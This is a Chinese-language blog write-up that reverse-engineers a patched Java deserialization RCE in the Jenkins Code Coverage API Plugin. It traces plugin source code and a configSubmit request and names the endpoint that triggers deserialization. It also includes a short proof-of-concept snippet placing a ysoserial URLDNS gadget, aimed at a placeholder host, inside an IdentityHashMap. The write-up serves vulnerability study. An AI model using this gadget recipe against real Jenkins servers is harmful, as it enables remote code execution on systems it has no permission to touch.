0x01 漏洞描述信息 逆推漏洞三方面:漏洞类型,漏洞入口api,构造payload。
该插件 1.4.0 及更早版本不对它从磁盘反序列化的 Java 对象应用JEP-200 反序列化 保护。
这会导致能够控制代理进程的攻击者利用远程代码执行 (RCE) 漏洞。
Code Coverage API Plugin 1.4.1 将其 Java 对象反序列化配置为仅反序列化安全类型。
关键信息:反序列化RCE、磁盘、控制代理进程可利用该漏洞。
0x02 补丁信息定位 补丁信息:https://github.com/jenkinsci/code-coverage-api-plugin/commit/a5b3c18cff2a0b494c55fa73b05fc935b50530be
在src/main/java/io/jenkins/plugins/coverage/CompatibleObjectInputStream.java
中添加了过滤,看类名InputStream是在反序列化过程中进行过滤了。
过滤名单src/main/resources/META-INF/hudson.remoting.ClassFilter
如下:
1 2 3 4 gnu.trove.impl.hash.THash gnu.trove.impl.hash.TIntHash gnu.trove.impl.hash.TPrimitiveHash gnu.trove.map.hash.TIntObjectHashMap
另外加了测试代码,测试漏洞修复是否成功:
0x03 Code Coverage API插件的使用: 在分析前先了解下怎么使用Code Coverage API插件。
参考官方给的使用说明:https://github.com/jenkinsci/code-coverage-api-plugin
创建项目时,新增构建后操作,选择发布代码覆盖率报告,配置覆盖率报告文件所在路径,最后保存。
保存好后,保证项目已经在**/target/site/cobertura/coverage.xml
相关目录下生成了xml文件,可以开始构建,maven生成可参考https://blog.csdn.net/zlt995768025/article/details/79360203。
构建完成后可生成代码覆盖率报告。
0x04 分析过程 首先下载修复后的版本1.4.1,并在本地用idea加载进行分析。
1、推测漏洞API 在测试程序中调用了CoverageProcessor.recoverCoverageResult
1 2 final FreeStyleProject fs = (FreeStyleProject) j.jenkins.getItemByFullName("fs" );CoverageProcessor.recoverCoverageResult(fs.getBuild("1" ));
定位到CoverageProcessor.recoverCoverageResult
,主要作用是从coverage-report文件反序列化CoverageResult对象。而coverage-report文件是由CoverageProcessor.saveCoverageResult
序列化对象建立的。那么构造payload一定就会调用saveCoverageResult
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static CoverageResult recoverCoverageResult (Run<?, ?> run) throws IOException, ClassNotFoundException { File reportFile = new File(run.getRootDir(), DEFAULT_REPORT_SAVE_NAME); try (ObjectInputStream ois = new CompatibleObjectInputStream(new FileInputStream(reportFile))) { return (CoverageResult) ois.readObject(); } } public static void saveCoverageResult (Run<?, ?> run, CoverageResult report) throws IOException { File reportFile = new File(run.getRootDir(), DEFAULT_REPORT_SAVE_NAME); try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(reportFile))) { oos.writeObject(report); } }
现在的问题是从哪里创建的coverage-report,我们控制什么数据可以生成想要的coverage-report?
saveCoverageResult仅被CoverageProcessor.convertResultToAction
调用
convertResultToAction方法的作用是将报告CoverageResult转为action,并调用saveCoverageResult将CoverageResult实例保存到coverage-report文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 private CoverageAction convertResultToAction (CoverageResult coverageReport) throws IOException { synchronized (CoverageProcessor.class ) { CoverageAction previousAction = run.getAction(CoverageAction.class ) ; if (previousAction == null ) { saveCoverageResult(run, coverageReport); CoverageAction action = new CoverageAction(coverageReport); run.addAction(action); return action; } else { CoverageResult previousResult = previousAction.getResult(); Collection<CoverageResult> previousReports = previousResult.getChildrenReal().values(); for (CoverageResult report : coverageReport.getChildrenReal().values()) { if (StringUtils.isEmpty(report.getTag())) { report.resetParent(previousResult); continue ; } Optional<CoverageResult> matchedTagReport; if ((matchedTagReport = previousReports.stream() .filter(r -> !StringUtils.isEmpty(r.getTag()) && r.getTag().equals(report.getTag())) .findAny()).isPresent()) { try { matchedTagReport.get().merge(report); } catch (CoverageException e) { e.printStackTrace(); report.resetParent(previousResult); } } else { report.resetParent(previousResult); } } previousResult.setOwner(run); saveCoverageResult(run, previousResult); return previousAction; } } }
而convertResultToAction会被CoverageProcessor.performCoverageReport
调用。该方法会处理CoverageReportAdapter,将所有报告保存并聚合成一份报告,然后调用convertResultToAction将聚合的报告coverageReport转为action。CoverageReportAdapter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public void performCoverageReport (List<CoverageReportAdapter> reportAdapters, List<ReportDetector> reportDetectors, List<Threshold> globalThresholds) throws IOException, InterruptedException, CoverageException { Map<CoverageReportAdapter, List<CoverageResult>> results = convertToResults(reportAdapters, reportDetectors); CoverageResult coverageReport = aggregateReports(results); if (coverageReport == null ) { return ; } coverageReport.setOwner(run); if (sourceFileResolver != null ) { Set<String> possiblePaths = new HashSet<>(); coverageReport.getChildrenReal().forEach((s, coverageResult) -> { Set<String> paths = coverageResult.getAdditionalProperty(CoverageFeatureConstants.FEATURE_SOURCE_FILE_PATH); if (paths != null ) { possiblePaths.addAll(paths); } }); if (possiblePaths.size() > 0 ) { sourceFileResolver.setPossiblePaths(possiblePaths); } sourceFileResolver.resolveSourceFiles(run, workspace, listener, coverageReport.getPaintedSources()); } if (calculateDiffForChangeRequests) { setDiffInCoverageForChangeRequest(coverageReport); } CoverageAction action = convertResultToAction(coverageReport); HealthReport healthReport = processThresholds(results, globalThresholds, action); action.setHealthReport(healthReport); if (calculateDiffForChangeRequests && failBuildIfCoverageDecreasedInChangeRequest) { failBuildIfChangeRequestDecreasedCoverage(coverageReport); } }
io.jenkins.plugins.coverage.CoveragePublisher.performCoverageReport()
方法中调用了CoverageProcessor.performCoverageReport()
。推测CoveragePublisher就是上面0x03中构建后操作添加的步骤-发布代码覆盖率报告的接口了。
到Web端观察了下上面的HTTP请求,其中"stapler-class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\",+\"$class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\"}
提到了接口CoveragePublisher,验证了刚刚的推测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /me/my-views/view/all/job/github/configSubmit HTTP/1.1Host : 192.168.116.1:8899User-Agent : Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateReferer : http://192.168.116.1:8899/me/my-views/view/all/job/github/configureContent-Type : application/x-www-form-urlencodedContent-Length : 6553Origin : http://192.168.116.1:8899Connection : keep-aliveUpgrade-Insecure-Requests : 1{ "description": "github+test", "stapler-class-bag": "true", "_.daysToKeepStr": "", ......(省略部分) "_.path": "**/target/site/cobertura/coverage.xml", "_.level": "NEVER_STORE", "core:apply": "", "Jenkins-Crumb": "b52cd1411c8949575e838c2d90dad5a202562b8789f61f00ca7eadb82b07916c", "json": "{\"description\":+\"github+test\",+\"properties\":+{\"stapler-class-bag\":+\"true\",+\"jenkins-model-BuildDiscarderProperty\":+{\"specified\":+false,+\"\":+\"0\",+\"strategy\":+{\"daysToKeepStr\":+\"\",+\"numToKeepStr\":+\"\",+\"artifactDaysToKeepStr\":+\"\",+\"artifactNumToKeepStr\":+\"\",+\"stapler-class\":+\"hudson.tasks.LogRotator\",+\"$class\":+\"hudson.tasks.LogRotator\"}},+\"com-coravy-hudson-plugins-github-GithubProjectProperty\":+{\"githubProject\":+{\"projectUrlStr\":+\"https://github.com/XXXXXX.git/\",+\"displayName\":+\"\"}},+\"org-jenkins-plugins-lockableresources-RequiredResourcesProperty\":+{},+\"hudson-model-ParametersDefinitionProperty\":+{\"specified\":+false},+\"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\":+{}},+\"disable\":+false,+\"concurrentBuild\":+false,+\"hasCustomQuietPeriod\":+false,+\"quiet_period\":+\"5\",+\"hasCustomScmCheckoutRetryCount\":+false,+\"scmCheckoutRetryCount\":+\"0\",+\"blockBuildWhenUpstreamBuilding\":+false,+\"blockBuildWhenDownstreamBuilding\":+false,+\"hasCustomWorkspace\":+false,+\"customWorkspace\":+\"\",+\"displayNameOrNull\":+\"\",+\"scm\":+{\"value\":+\"0\",+\"stapler-class\":+\"hudson.scm.NullSCM\",+\"$class\":+\"hudson.scm.NullSCM\"},+\"publisher\":+{\"adapters\":+{\"path\":+\"**/target/site/cobertura/coverage.xml\",+\"mergeToOneReport\":+false,+\"stapler-class\":+\"hudson.plugins.cobertura.adapter.CoberturaReportAdapter\",+\"$class\":+\"hudson.plugins.cobertura.adapter.CoberturaReportAdapter\"},+\"applyThresholdRecursively\":+false,+\"failUnhealthy\":+false,+\"failUnstable\":+false,+\"failNoReports\":+false,+\"calculateDiffForChangeRequests\":+false,+\"failBuildIfCoverageDecreasedInChangeRequest\":+false,+\"skipPublishingChecks\":+false,+\"sourceFileResolver\":+{\"level\":+\"NEVER_STORE\"},+\"stapler-class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\",+\"$class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\"},+\"core:apply\":+\"\",+\"Jenkins-Crumb\":+\"b52cd1411c8949575e838c2d90dad5a202562b8789f61f00ca7eadb82b07916c\"}", "Submit": "保存" }
所以请求API.../view/all/job/jobname/configSubmit/
可以创建序列化文件coverage-report;而调用CoverageProcessor.recoverCoverageResult
读取coverage-report进行反序列化,对应api定位到CoverageAction.getResult()
,Web端测试后api是/$stapler/bound/xxxxxxxxxxxxx/getResults
。
2、构造coverage-report文件 根据Security2376Test测试代码注释,尝试使用java.util.IdentityHashMap构造POC,查看IdentityHashMap.readObject发现会对键值对调用readObject来进行对象的恢复。
1 2 3 4 5 6 7 for (int i=0 ; i<size; i++) { @SuppressWarnings ("unchecked" ) K key = (K) s.readObject(); @SuppressWarnings ("unchecked" ) V value = (V) s.readObject(); putForCreate(key, value); }
那么考虑可以借用ysoserial链,然后put到IdentityHashMap,就可以链起来。这里我用了URLDNS gadget,因为他比较简单并且依赖的包都是jdk自带的包。
1 2 3 IdentityHashMap<Object, Object> map = new IdentityHashMap<>(); HashMap hashMap = getObject("http://xxx.com" ); map.put(1 ,hashMap);
序列化后并命名为coverage-report,覆盖某一个build下的原coverage-report并在页面刷新该build,dnslog上成功记录。
正常到这里,现在的问题应该是如何通过覆盖率的xml文件构造coverage-report,但是根据漏洞描述,疑似之间从磁盘文件反序列化,并且分析了下代码,感觉覆盖率xml文件转换成对象不太可以实现为我们想要的对象,因此可能该漏洞本身就是直接从磁盘反序列化 页面端无法构造。
那么利用难度就大大提高了,需要条件:
1、安装了存在漏洞的插件;
2、能够上传文件到系统的项目build文件夹下;
3、具有创建item权限。
0x05 总结 就当是一次逆推漏洞的练手项目,最后漏洞实际利用难度大,意义不大。
0x06 参考链接: https://github.com/jenkinsci/code-coverage-api-plugin https://blog.csdn.net/zlt995768025/article/details/79360203 https://repo.jenkins-ci.org/ui/native/releases/io/jenkins/plugins/code-coverage-api/1.4.1